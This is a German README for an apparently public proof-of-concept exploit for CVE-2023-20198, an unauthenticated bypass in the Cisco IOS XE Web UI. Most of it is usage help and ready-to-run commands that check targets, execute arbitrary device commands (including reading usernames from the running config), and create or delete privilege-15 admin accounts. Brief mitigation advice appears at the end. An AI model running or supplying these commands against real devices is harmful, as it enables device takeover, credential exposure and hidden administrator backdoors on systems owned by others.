
Proof-of-concept-Exploit für CVE-2023-20198, eine Authentifizierungs-Bypass-Schwachstelle, die das Cisco IOS XE Web UI betrifft.
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2023-20198, eine Schwachstelle zur Authentifizierungsumgehung, die das Cisco IOS XE Web UI betrifft.
Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, über manipulierte SOAP-Anforderungen beliebige Befehle auf anfälligen Cisco-Geräten auszuführen, was potenziell zu einer vollständigen Gerätekompromittierung führen kann, einschließlich entfernter Befehlsausführung und Erstellung/Löschung administrativer Benutzer.
CVE: CVE-2023-20198
Betroffenes Produkt: Cisco IOS XE (Web UI / WSMA-Schnittstelle)
Auswirkungen:
Angriffsvektor: Netzwerk (HTTP/HTTPS)
Erforderliche Berechtigungen: Keine (nicht authentifiziert)
Diese Schwachstelle wird durch eine fehlerhafte Authentifizierungsbehandlung im Web Services Management Agent (WSMA)-Endpunkt verursacht, die es Angreifern ermöglicht, die Authentifizierung durch manipulierte HTTP-Anforderungen zu umgehen.
requestscoloramaInstallieren der Abhängigkeiten:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentifizierungsumgehung-Exploit für Cisco IOS XE-Geräte (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Zielgerät mit Cisco IOS XE
-c, --check Prüfen, ob das Ziel anfällig für CVE-2023-20198 ist
-C CMD, --cmd CMD Auszuführender Cisco IOS XE-Befehl
-a, --add Neuen Benutzernamen und Passwort hinzufügen
-d, --delete Vorhandenen Benutzer löschen
-u USERNAME, --username USERNAME
Benutzername für die Kontoerstellung
-p PASSWORD, --password PASSWORD
Passwort für die Kontoerstellung (zufälliges Passwort, falls nicht angegeben)

Prüfen, ob das Ziel anfällig ist:
python3 exploit.py -t https://<ZIEL-IP> -c

Bei Anfälligkeit erkennt das Tool automatisch den ausnutzbaren WSMA-Endpunkt und zeigt Gerätedetails an.
Ausführen von Befehlen auf dem anfälligen Gerät:
python3 exploit.py -t https://<ZIEL-IP> -C "<BEFEHL>"
Beispiel:
python3 exploit.py -t https://<ZIEL-IP> -C "show running | include username"

Erstellen eines neuen Admin-Benutzers mit Privilegstufe 15:
python3 exploit.py -t https://<ZIEL-IP> -a -u cisco -p kaptaan

Wenn kein Passwort angegeben wird, generiert das Skript automatisch ein zufälliges sicheres Passwort.
Mit dem neu erstellten Konto können Sie auf die Weboberfläche des Geräts zugreifen

Löschen eines vorhandenen Benutzers:
python3 exploit.py -t https://<ZIEL-IP> -d -u cisco

Aktualisieren Sie Cisco IOS XE auf die neueste gepatchte Version
Deaktivieren Sie das Web UI, falls nicht erforderlich:
no ip http server
no ip http secure-server
Beschränken Sie den Verwaltungszugriff über ACLs
| Option | Beschreibung |
|---|
-t, --target | Zielgerät mit Cisco IOS XE (erforderlich) |
-c, --check | Prüfen, ob das Ziel anfällig ist |
-C, --cmd | Einen Cisco IOS XE-Befehl ausführen |
-a, --add | Neuen administrativen Benutzer hinzufügen |
-d, --delete | Vorhandenen Benutzer löschen |
-u, --username | Benutzername für die Kontoerstellung/-löschung |
-p, --password | Passwort für das neue Konto (zufällig, falls nicht angegeben) |